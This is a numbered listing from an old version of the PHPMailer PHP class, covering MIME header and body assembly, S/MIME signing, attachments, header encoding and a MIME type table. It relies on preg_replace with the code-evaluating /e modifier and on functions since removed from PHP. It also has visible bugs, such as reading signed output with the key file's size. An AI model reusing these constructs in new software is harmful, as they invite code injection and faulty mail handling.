2206 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
2207 break;
2208 }
2209 }
2210
2211 /**
2212 * Assembles message header.
2213 * @access private
2214 * @return string
2215 */
2216 function CreateHeader() {
2217 $result = '';
2218
2219 /* Set the boundaries */
2220 $uniq_id = md5(uniqid(time()));
2221 $this->boundary[1] = 'b1_' . $uniq_id;
2222 $this->boundary[2] = 'b2_' . $uniq_id;
2223
2224 $result .= $this->HeaderLine('Date', $this->RFCDate());
2225 if($this->Sender == '') {
2226 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2227 } else {
2228 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2229 }
2230
2231 /* To be created automatically by mail() */
2232 if($this->Mailer != 'mail') {
2233 if(count($this->to) > 0) {
2234 $result .= $this->AddrAppend('To', $this->to);
2235 } elseif (count($this->cc) == 0) {
2236 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2237 }
2238 if(count($this->cc) > 0) {
2239 $result .= $this->AddrAppend('Cc', $this->cc);
2240 }
2241 }
2242
2243 $from = array();
2244 $from[0][0] = trim($this->From);
2245 $from[0][1] = $this->FromName;
2246 $result .= $this->AddrAppend('From', $from);
2247
2248 /* sendmail and mail() extract Cc from the header before sending */
2249 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2250 $result .= $this->AddrAppend('Cc', $this->cc);
2251 }
2252
2253 /* sendmail and mail() extract Bcc from the header before sending */
2254 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2255 $result .= $this->AddrAppend('Bcc', $this->bcc);
2256 }
2257
2258 if(count($this->ReplyTo) > 0) {
2259 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2260 }
2261
2262 /* mail() sets the subject itself */
2263 if($this->Mailer != 'mail') {
2264 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2265 }
2266
2267 if($this->MessageID != '') {
2268 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2269 } else {
2270 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2271 }
2272 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2273 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2274
2275 if($this->ConfirmReadingTo != '') {
2276 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2277 }
2278
2279 // Add custom headers
2280 for($index = 0; $index < count($this->CustomHeader); $index++) {
2281 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2282 }
2283 if (!$this->sign_key_file) {
2284 $result .= $this->HeaderLine('MIME-Version', '1.0');
2285 $result .= $this->GetMailMIME();
2286 }
2287
2288 return $result;
2289 }
2290
2291 /**
2292 * Returns the message MIME.
2293 * @access private
2294 * @return string
2295 */
2296 function GetMailMIME() {
2297 $result = '';
2298 switch($this->message_type) {
2299 case 'plain':
2300 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2301 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2302 break;
2303 case 'attachments':
2304 /* fall through */
2305 case 'alt_attachments':
2306 if($this->InlineImageExists()){
2307 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2308 } else {
2309 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2310 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2311 }
2312 break;
2313 case 'alt':
2314 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2315 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2316 break;
2317 }
2318
2319 if($this->Mailer != 'mail') {
2320 $result .= $this->LE.$this->LE;
2321 }
2322
2323 return $result;
2324 }
2325
2326 /**
2327 * Assembles the message body. Returns an empty string on failure.
2328 * @access private
2329 * @return string
2330 */
2331 function CreateBody() {
2332 $result = '';
2333 if ($this->sign_key_file) {
2334 $result .= $this->GetMailMIME();
2335 }
2336
2337 $this->SetWordWrap();
2338
2339 switch($this->message_type) {
2340 case 'alt':
2341 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2342 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2343 $result .= $this->LE.$this->LE;
2344 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2345 $result .= $this->EncodeString($this->Body, $this->Encoding);
2346 $result .= $this->LE.$this->LE;
2347 $result .= $this->EndBoundary($this->boundary[1]);
2348 break;
2349 case 'plain':
2350 $result .= $this->EncodeString($this->Body, $this->Encoding);
2351 break;
2352 case 'attachments':
2353 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2354 $result .= $this->EncodeString($this->Body, $this->Encoding);
2355 $result .= $this->LE;
2356 $result .= $this->AttachAll();
2357 break;
2358 case 'alt_attachments':
2359 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2360 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2361 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2362 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2363 $result .= $this->LE.$this->LE;
2364 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2365 $result .= $this->EncodeString($this->Body, $this->Encoding);
2366 $result .= $this->LE.$this->LE;
2367 $result .= $this->EndBoundary($this->boundary[2]);
2368 $result .= $this->AttachAll();
2369 break;
2370 }
2371
2372 if($this->IsError()) {
2373 $result = '';
2374 } else if ($this->sign_key_file) {
2375 $file = tempnam("", "mail");
2376 $fp = fopen($file, "w");
2377 fwrite($fp, $result);
2378 fclose($fp);
2379 $signed = tempnam("", "signed");
2380
2381 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2382 $fp = fopen($signed, "r");
2383 $result = fread($fp, filesize($this->sign_key_file));
2384 fclose($fp);
2385 } else {
2386 $this->SetError($this->Lang("signing").openssl_error_string());
2387 $result = '';
2388 }
2389
2390 unlink($file);
2391 unlink($signed);
2392 }
2393
2394 return $result;
2395 }
2396
2397 /**
2398 * Returns the start of a message boundary.
2399 * @access private
2400 */
2401 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2402 $result = '';
2403 if($charSet == '') {
2404 $charSet = $this->CharSet;
2405 }
2406 if($contentType == '') {
2407 $contentType = $this->ContentType;
2408 }
2409 if($encoding == '') {
2410 $encoding = $this->Encoding;
2411 }
2412 $result .= $this->TextLine('--' . $boundary);
2413 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2414 $result .= $this->LE;
2415 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2416 $result .= $this->LE;
2417
2418 return $result;
2419 }
2420
2421 /**
2422 * Returns the end of a message boundary.
2423 * @access private
2424 */
2425 function EndBoundary($boundary) {
2426 return $this->LE . '--' . $boundary . '--' . $this->LE;
2427 }
2428
2429 /**
2430 * Sets the message type.
2431 * @access private
2432 * @return void
2433 */
2434 function SetMessageType() {
2435 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2436 $this->message_type = 'plain';
2437 } else {
2438 if(count($this->attachment) > 0) {
2439 $this->message_type = 'attachments';
2440 }
2441 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2442 $this->message_type = 'alt';
2443 }
2444 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2445 $this->message_type = 'alt_attachments';
2446 }
2447 }
2448 }
2449
2450 /* Returns a formatted header line.
2451 * @access private
2452 * @return string
2453 */
2454 function HeaderLine($name, $value) {
2455 return $name . ': ' . $value . $this->LE;
2456 }
2457
2458 /**
2459 * Returns a formatted mail line.
2460 * @access private
2461 * @return string
2462 */
2463 function TextLine($value) {
2464 return $value . $this->LE;
2465 }
2466
2467 /////////////////////////////////////////////////
2468 // CLASS METHODS, ATTACHMENTS
2469 /////////////////////////////////////////////////
2470
2471 /**
2472 * Adds an attachment from a path on the filesystem.
2473 * Returns false if the file could not be found
2474 * or accessed.
2475 * @param string $path Path to the attachment.
2476 * @param string $name Overrides the attachment name.
2477 * @param string $encoding File encoding (see $Encoding).
2478 * @param string $type File extension (MIME) type.
2479 * @return bool
2480 */
2481 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2482 if(!@is_file($path)) {
2483 $this->SetError($this->Lang('file_access') . $path);
2484 return false;
2485 }
2486
2487 $filename = basename($path);
2488 if($name == '') {
2489 $name = $filename;
2490 }
2491
2492 $cur = count($this->attachment);
2493 $this->attachment[$cur][0] = $path;
2494 $this->attachment[$cur][1] = $filename;
2495 $this->attachment[$cur][2] = $name;
2496 $this->attachment[$cur][3] = $encoding;
2497 $this->attachment[$cur][4] = $type;
2498 $this->attachment[$cur][5] = false; // isStringAttachment
2499 $this->attachment[$cur][6] = 'attachment';
2500 $this->attachment[$cur][7] = 0;
2501
2502 return true;
2503 }
2504
2505 /**
2506 * Attaches all fs, string, and binary attachments to the message.
2507 * Returns an empty string on failure.
2508 * @access private
2509 * @return string
2510 */
2511 function AttachAll() {
2512 /* Return text of body */
2513 $mime = array();
2514
2515 /* Add all attachments */
2516 for($i = 0; $i < count($this->attachment); $i++) {
2517 /* Check for string attachment */
2518 $bString = $this->attachment[$i][5];
2519 if ($bString) {
2520 $string = $this->attachment[$i][0];
2521 } else {
2522 $path = $this->attachment[$i][0];
2523 }
2524
2525 $filename = $this->attachment[$i][1];
2526 $name = $this->attachment[$i][2];
2527 $encoding = $this->attachment[$i][3];
2528 $type = $this->attachment[$i][4];
2529 $disposition = $this->attachment[$i][6];
2530 $cid = $this->attachment[$i][7];
2531
2532 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2533 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2534 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2535
2536 if($disposition == 'inline') {
2537 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2538 }
2539
2540 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2541
2542 /* Encode as string attachment */
2543 if($bString) {
2544 $mime[] = $this->EncodeString($string, $encoding);
2545 if($this->IsError()) {
2546 return '';
2547 }
2548 $mime[] = $this->LE.$this->LE;
2549 } else {
2550 $mime[] = $this->EncodeFile($path, $encoding);
2551 if($this->IsError()) {
2552 return '';
2553 }
2554 $mime[] = $this->LE.$this->LE;
2555 }
2556 }
2557
2558 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2559
2560 return join('', $mime);
2561 }
2562
2563 /**
2564 * Encodes attachment in requested format. Returns an
2565 * empty string on failure.
2566 * @access private
2567 * @return string
2568 */
2569 function EncodeFile ($path, $encoding = 'base64') {
2570 if(!@$fd = fopen($path, 'rb')) {
2571 $this->SetError($this->Lang('file_open') . $path);
2572 return '';
2573 }
2574 $magic_quotes = get_magic_quotes_runtime();
2575 set_magic_quotes_runtime(0);
2576 $file_buffer = fread($fd, filesize($path));
2577 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2578 fclose($fd);
2579 set_magic_quotes_runtime($magic_quotes);
2580
2581 return $file_buffer;
2582 }
2583
2584 /**
2585 * Encodes string to requested format. Returns an
2586 * empty string on failure.
2587 * @access private
2588 * @return string
2589 */
2590 function EncodeString ($str, $encoding = 'base64') {
2591 $encoded = '';
2592 switch(strtolower($encoding)) {
2593 case 'base64':
2594 /* chunk_split is found in PHP >= 3.0.6 */
2595 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2596 break;
2597 case '7bit':
2598 case '8bit':
2599 $encoded = $this->FixEOL($str);
2600 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2601 $encoded .= $this->LE;
2602 break;
2603 case 'binary':
2604 $encoded = $str;
2605 break;
2606 case 'quoted-printable':
2607 $encoded = $this->EncodeQP($str);
2608 break;
2609 default:
2610 $this->SetError($this->Lang('encoding') . $encoding);
2611 break;
2612 }
2613 return $encoded;
2614 }
2615
2616 /**
2617 * Encode a header string to best of Q, B, quoted or none.
2618 * @access private
2619 * @return string
2620 */
2621 function EncodeHeader ($str, $position = 'text') {
2622 $x = 0;
2623
2624 switch (strtolower($position)) {
2625 case 'phrase':
2626 if (!preg_match('/[\200-\377]/', $str)) {
2627 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2628 $encoded = addcslashes($str, "\0..\37\177\\\"");
2629 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2630 return ($encoded);
2631 } else {
2632 return ("\"$encoded\"");
2633 }
2634 }
2635 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2636 break;
2637 case 'comment':
2638 $x = preg_match_all('/[()"]/', $str, $matches);
2639 /* Fall-through */
2640 case 'text':
2641 default:
2642 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2643 break;
2644 }
2645
2646 if ($x == 0) {
2647 return ($str);
2648 }
2649
2650 $maxlen = 75 - 7 - strlen($this->CharSet);
2651 /* Try to select the encoding which should produce the shortest output */
2652 if (strlen($str)/3 < $x) {
2653 $encoding = 'B';
2654 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2655 // Use a custom function which correctly encodes and wraps long
2656 // multibyte strings without breaking lines within a character
2657 $encoded = $this->Base64EncodeWrapMB($str);
2658 } else {
2659 $encoded = base64_encode($str);
2660 $maxlen -= $maxlen % 4;
2661 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2662 }
2663 } else {
2664 $encoding = 'Q';
2665 $encoded = $this->EncodeQ($str, $position);
2666 $encoded = $this->WrapText($encoded, $maxlen, true);
2667 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2668 }
2669
2670 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2671 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2672
2673 return $encoded;
2674 }
2675
2676 /**
2677 * Checks if a string contains multibyte characters.
2678 * @access private
2679 * @param string $str multi-byte text to wrap encode
2680 * @return bool
2681 */
2682 function HasMultiBytes($str) {
2683 if (function_exists('mb_strlen')) {
2684 return (strlen($str) > mb_strlen($str, $this->CharSet));
2685 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2686 return False;
2687 }
2688 }
2689
2690 /**
2691 * Correctly encodes and wraps long multibyte strings for mail headers
2692 * without breaking lines within a character.
2693 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2694 * @access private
2695 * @param string $str multi-byte text to wrap encode
2696 * @return string
2697 */
2698 function Base64EncodeWrapMB($str) {
2699 $start = "=?".$this->CharSet."?B?";
2700 $end = "?=";
2701 $encoded = "";
2702
2703 $mb_length = mb_strlen($str, $this->CharSet);
2704 // Each line must have length <= 75, including $start and $end
2705 $length = 75 - strlen($start) - strlen($end);
2706 // Average multi-byte ratio
2707 $ratio = $mb_length / strlen($str);
2708 // Base64 has a 4:3 ratio
2709 $offset = $avgLength = floor($length * $ratio * .75);
2710
2711 for ($i = 0; $i < $mb_length; $i += $offset) {
2712 $lookBack = 0;
2713
2714 do {
2715 $offset = $avgLength - $lookBack;
2716 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2717 $chunk = base64_encode($chunk);
2718 $lookBack++;
2719 }
2720 while (strlen($chunk) > $length);
2721
2722 $encoded .= $chunk . $this->LE;
2723 }
2724
2725 // Chomp the last linefeed
2726 $encoded = substr($encoded, 0, -strlen($this->LE));
2727 return $encoded;
2728 }
2729
2730 /**
2731 * Encode string to quoted-printable.
2732 * @access private
2733 * @return string
2734 */
2735 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2736 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2737 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2738 $eol = "\r\n";
2739 $escape = '=';
2740 $output = '';
2741 while( list(, $line) = each($lines) ) {
2742 $linlen = strlen($line);
2743 $newline = '';
2744 for($i = 0; $i < $linlen; $i++) {
2745 $c = substr( $line, $i, 1 );
2746 $dec = ord( $c );
2747 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2748 $c = '=2E';
2749 }
2750 if ( $dec == 32 ) {
2751 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2752 $c = '=20';
2753 } else if ( $space_conv ) {
2754 $c = '=20';
2755 }
2756 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2757 $h2 = floor($dec/16);
2758 $h1 = floor($dec%16);
2759 $c = $escape.$hex[$h2].$hex[$h1];
2760 }
2761 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2762 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2763 $newline = '';
2764 // check if newline first character will be point or not
2765 if ( $dec == 46 ) {
2766 $c = '=2E';
2767 }
2768 }
2769 $newline .= $c;
2770 } // end of for
2771 $output .= $newline.$eol;
2772 } // end of while
2773 return trim($output);
2774 }
2775
2776 /**
2777 * Encode string to q encoding.
2778 * @access private
2779 * @return string
2780 */
2781 function EncodeQ ($str, $position = 'text') {
2782 /* There should not be any EOL in the string */
2783 $encoded = preg_replace("[\r\n]", '', $str);
2784
2785 switch (strtolower($position)) {
2786 case 'phrase':
2787 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2788 break;
2789 case 'comment':
2790 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2791 case 'text':
2792 default:
2793 /* Replace every high ascii, control =, ? and _ characters */
2794 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2795 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2796 break;
2797 }
2798
2799 /* Replace every spaces to _ (more readable than =20) */
2800 $encoded = str_replace(' ', '_', $encoded);
2801
2802 return $encoded;
2803 }
2804
2805 /**
2806 * Adds a string or binary attachment (non-filesystem) to the list.
2807 * This method can be used to attach ascii or binary data,
2808 * such as a BLOB record from a database.
2809 * @param string $string String attachment data.
2810 * @param string $filename Name of the attachment.
2811 * @param string $encoding File encoding (see $Encoding).
2812 * @param string $type File extension (MIME) type.
2813 * @return void
2814 */
2815 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2816 /* Append to $attachment array */
2817 $cur = count($this->attachment);
2818 $this->attachment[$cur][0] = $string;
2819 $this->attachment[$cur][1] = $filename;
2820 $this->attachment[$cur][2] = $filename;
2821 $this->attachment[$cur][3] = $encoding;
2822 $this->attachment[$cur][4] = $type;
2823 $this->attachment[$cur][5] = true; // isString
2824 $this->attachment[$cur][6] = 'attachment';
2825 $this->attachment[$cur][7] = 0;
2826 }
2827
2828 /**
2829 * Adds an embedded attachment. This can include images, sounds, and
2830 * just about any other document. Make sure to set the $type to an
2831 * image type. For JPEG images use "image/jpeg" and for GIF images
2832 * use "image/gif".
2833 * @param string $path Path to the attachment.
2834 * @param string $cid Content ID of the attachment. Use this to identify
2835 * the Id for accessing the image in an HTML form.
2836 * @param string $name Overrides the attachment name.
2837 * @param string $encoding File encoding (see $Encoding).
2838 * @param string $type File extension (MIME) type.
2839 * @return bool
2840 */
2841 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2842
2843 if(!@is_file($path)) {
2844 $this->SetError($this->Lang('file_access') . $path);
2845 return false;
2846 }
2847
2848 $filename = basename($path);
2849 if($name == '') {
2850 $name = $filename;
2851 }
2852
2853 /* Append to $attachment array */
2854 $cur = count($this->attachment);
2855 $this->attachment[$cur][0] = $path;
2856 $this->attachment[$cur][1] = $filename;
2857 $this->attachment[$cur][2] = $name;
2858 $this->attachment[$cur][3] = $encoding;
2859 $this->attachment[$cur][4] = $type;
2860 $this->attachment[$cur][5] = false;
2861 $this->attachment[$cur][6] = 'inline';
2862 $this->attachment[$cur][7] = $cid;
2863
2864 return true;
2865 }
2866
2867 /**
2868 * Returns true if an inline attachment is present.
2869 * @access private
2870 * @return bool
2871 */
2872 function InlineImageExists() {
2873 $result = false;
2874 for($i = 0; $i < count($this->attachment); $i++) {
2875 if($this->attachment[$i][6] == 'inline') {
2876 $result = true;
2877 break;
2878 }
2879 }
2880
2881 return $result;
2882 }
2883
2884 /////////////////////////////////////////////////
2885 // CLASS METHODS, MESSAGE RESET
2886 /////////////////////////////////////////////////
2887
2888 /**
2889 * Clears all recipients assigned in the TO array. Returns void.
2890 * @return void
2891 */
2892 function ClearAddresses() {
2893 $this->to = array();
2894 }
2895
2896 /**
2897 * Clears all recipients assigned in the CC array. Returns void.
2898 * @return void
2899 */
2900 function ClearCCs() {
2901 $this->cc = array();
2902 }
2903
2904 /**
2905 * Clears all recipients assigned in the BCC array. Returns void.
2906 * @return void
2907 */
2908 function ClearBCCs() {
2909 $this->bcc = array();
2910 }
2911
2912 /**
2913 * Clears all recipients assigned in the ReplyTo array. Returns void.
2914 * @return void
2915 */
2916 function ClearReplyTos() {
2917 $this->ReplyTo = array();
2918 }
2919
2920 /**
2921 * Clears all recipients assigned in the TO, CC and BCC
2922 * array. Returns void.
2923 * @return void
2924 */
2925 function ClearAllRecipients() {
2926 $this->to = array();
2927 $this->cc = array();
2928 $this->bcc = array();
2929 }
2930
2931 /**
2932 * Clears all previously set filesystem, string, and binary
2933 * attachments. Returns void.
2934 * @return void
2935 */
2936 function ClearAttachments() {
2937 $this->attachment = array();
2938 }
2939
2940 /**
2941 * Clears all custom headers. Returns void.
2942 * @return void
2943 */
2944 function ClearCustomHeaders() {
2945 $this->CustomHeader = array();
2946 }
2947
2948 /////////////////////////////////////////////////
2949 // CLASS METHODS, MISCELLANEOUS
2950 /////////////////////////////////////////////////
2951
2952 /**
2953 * Adds the error message to the error container.
2954 * Returns void.
2955 * @access private
2956 * @return void
2957 */
2958 function SetError($msg) {
2959 $this->error_count++;
2960 $this->ErrorInfo = $msg;
2961 }
2962
2963 /**
2964 * Returns the proper RFC 822 formatted date.
2965 * @access private
2966 * @return string
2967 */
2968 function RFCDate() {
2969 $tz = date('Z');
2970 $tzs = ($tz < 0) ? '-' : '+';
2971 $tz = abs($tz);
2972 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2973 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2974
2975 return $result;
2976 }
2977
2978 /**
2979 * Returns the appropriate server variable. Should work with both
2980 * PHP 4.1.0+ as well as older versions. Returns an empty string
2981 * if nothing is found.
2982 * @access private
2983 * @return mixed
2984 */
2985 function ServerVar($varName) {
2986 global $HTTP_SERVER_VARS;
2987 global $HTTP_ENV_VARS;
2988
2989 if(!isset($_SERVER)) {
2990 $_SERVER = $HTTP_SERVER_VARS;
2991 if(!isset($_SERVER['REMOTE_ADDR'])) {
2992 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2993 }
2994 }
2995
2996 if(isset($_SERVER[$varName])) {
2997 return $_SERVER[$varName];
2998 } else {
2999 return '';
3000 }
3001 }
3002
3003 /**
3004 * Returns the server hostname or 'localhost.localdomain' if unknown.
3005 * @access private
3006 * @return string
3007 */
3008 function ServerHostname() {
3009 if ($this->Hostname != '') {
3010 $result = $this->Hostname;
3011 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3012 $result = $this->ServerVar('SERVER_NAME');
3013 } else {
3014 $result = 'localhost.localdomain';
3015 }
3016
3017 return $result;
3018 }
3019
3020 /**
3021 * Returns a message in the appropriate language.
3022 * @access private
3023 * @return string
3024 */
3025 function Lang($key) {
3026 if(count($this->language) < 1) {
3027 $this->SetLanguage('en'); // set the default language
3028 }
3029
3030 if(isset($this->language[$key])) {
3031 return $this->language[$key];
3032 } else {
3033 return 'Language string failed to load: ' . $key;
3034 }
3035 }
3036
3037 /**
3038 * Returns true if an error occurred.
3039 * @return bool
3040 */
3041 function IsError() {
3042 return ($this->error_count > 0);
3043 }
3044
3045 /**
3046 * Changes every end of line from CR or LF to CRLF.
3047 * @access private
3048 * @return string
3049 */
3050 function FixEOL($str) {
3051 $str = str_replace("\r\n", "\n", $str);
3052 $str = str_replace("\r", "\n", $str);
3053 $str = str_replace("\n", $this->LE, $str);
3054 return $str;
3055 }
3056
3057 /**
3058 * Adds a custom header.
3059 * @return void
3060 */
3061 function AddCustomHeader($custom_header) {
3062 $this->CustomHeader[] = explode(':', $custom_header, 2);
3063 }
3064
3065 /**
3066 * Evaluates the message and returns modifications for inline images and backgrounds
3067 * @access public
3068 * @return $message
3069 */
3070 function MsgHTML($message,$basedir='') {
3071 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3072 if(isset($images[2])) {
3073 foreach($images[2] as $i => $url) {
3074 // do not change urls for absolute images (thanks to corvuscorax)
3075 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3076 $filename = basename($url);
3077 $directory = dirname($url);
3078 ($directory == '.')?$directory='':'';
3079 $cid = 'cid:' . md5($filename);
3080 $fileParts = split("\.", $filename);
3081 $ext = $fileParts[1];
3082 $mimeType = $this->_mime_types($ext);
3083 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3084 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3085 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3086 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3087 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3088 }
3089 }
3090 }
3091 }
3092 $this->IsHTML(true);
3093 $this->Body = $message;
3094 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3095 if ( !empty($textMsg) && empty($this->AltBody) ) {
3096 $this->AltBody = $textMsg;
3097 }
3098 if ( empty($this->AltBody) ) {
3099 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3100 }
3101 }
3102
3103 /**
3104 * Gets the mime type of the embedded or inline image
3105 * @access private
3106 * @return mime type of ext
3107 */
3108 function _mime_types($ext = '') {
3109 $mimes = array(
3110 'hqx' => 'application/mac-binhex40',
3111 'cpt' => 'application/mac-compactpro',
3112 'doc' => 'application/msword',
3113 'bin' => 'application/macbinary',
3114 'dms' => 'application/octet-stream',
3115 'lha' => 'application/octet-stream',
3116 'lzh' => 'application/octet-stream',
3117 'exe' => 'application/octet-stream',
3118 'class' => 'application/octet-stream',
3119 'psd' => 'application/octet-stream',
3120 'so' => 'application/octet-stream',
3121 'sea' => 'application/octet-stream',
3122 'dll' => 'application/octet-stream',
3123 'oda' => 'application/oda',
3124 'pdf' => 'application/pdf',
3125 'ai' => 'application/postscript',
3126 'eps' => 'application/postscript',
3127 'ps' => 'application/postscript',
3128 'smi' => 'application/smil',
3129 'smil' => 'application/smil',
3130 'mif' => 'application/vnd.mif',
3131 'xls' => 'application/vnd.ms-excel',
3132 'ppt' => 'application/vnd.ms-powerpoint',
3133 'wbxml' => 'application/vnd.wap.wbxml',
3134 'wmlc' => 'application/vnd.wap.wmlc',
3135 'dcr' => 'application/x-director',
3136 'dir' => 'application/x-director',
3137 'dxr' => 'application/x-director',
3138 'dvi' => 'application/x-dvi',
3139 'gtar' => 'application/x-gtar',
3140 'php' => 'application/x-httpd-php',
3141 'php4' => 'application/x-httpd-php',
3142 'php3' => 'application/x-httpd-php',
3143 'phtml' => 'application/x-httpd-php',
3144 'phps' => 'application/x-httpd-php-source',
3145 'js' => 'application/x-javascript',
3146 'swf' => 'application/x-shockwave-flash',
3147 'sit' => 'application/x-stuffit',
3148 'tar' => 'application/x-tar',
3149 'tgz' => 'application/x-tar',
3150 'xhtml' => 'application/xhtml+xml',
3151 'xht' => 'application/xhtml+xml',
3152 'zip' => 'application/zip',
3153 'mid' => 'audio/midi',
3154 'midi' => 'audio/midi',
3155 'mpga' => 'audio/mpeg',
3156 'mp2' => 'audio/mpeg',
3157 'mp3' => 'audio/mpeg',
3158 'aif' => 'audio/x-aiff',
3159 'aiff' => 'audio/x-aiff',
3160 'aifc' => 'audio/x-aiff',
3161 'ram' => 'audio/x-pn-realaudio',
3162 'rm' => 'audio/x-pn-realaudio',
3163 'rpm' => 'audio/x-pn-realaudio-plugin',
3164 'ra' => 'audio/x-realaudio',
3165 'rv' => 'video/vnd.rn-realvideo',
3166 'wav' => 'audio/x-wav',
3167 'bmp' => 'image/bmp',
3168 'gif' => 'image/gif',
3169 'jpeg' => 'image/jpeg',
3170 'jpg' => 'image/jpeg',
3171 'jpe' => 'image/jpeg',
3172 'png' => 'image/png',
3173 'tiff' => 'image/tiff',
3174 'tif' => 'image/tiff',
3175 'css' => 'text/css',
3176 'html' => 'text/html',
3177 'htm' => 'text/html',
3178 'shtml' => 'text/html',
3179 'txt' => 'text/plain',
3180 'text' => 'text/plain',
3181 'log' => 'text/plain',
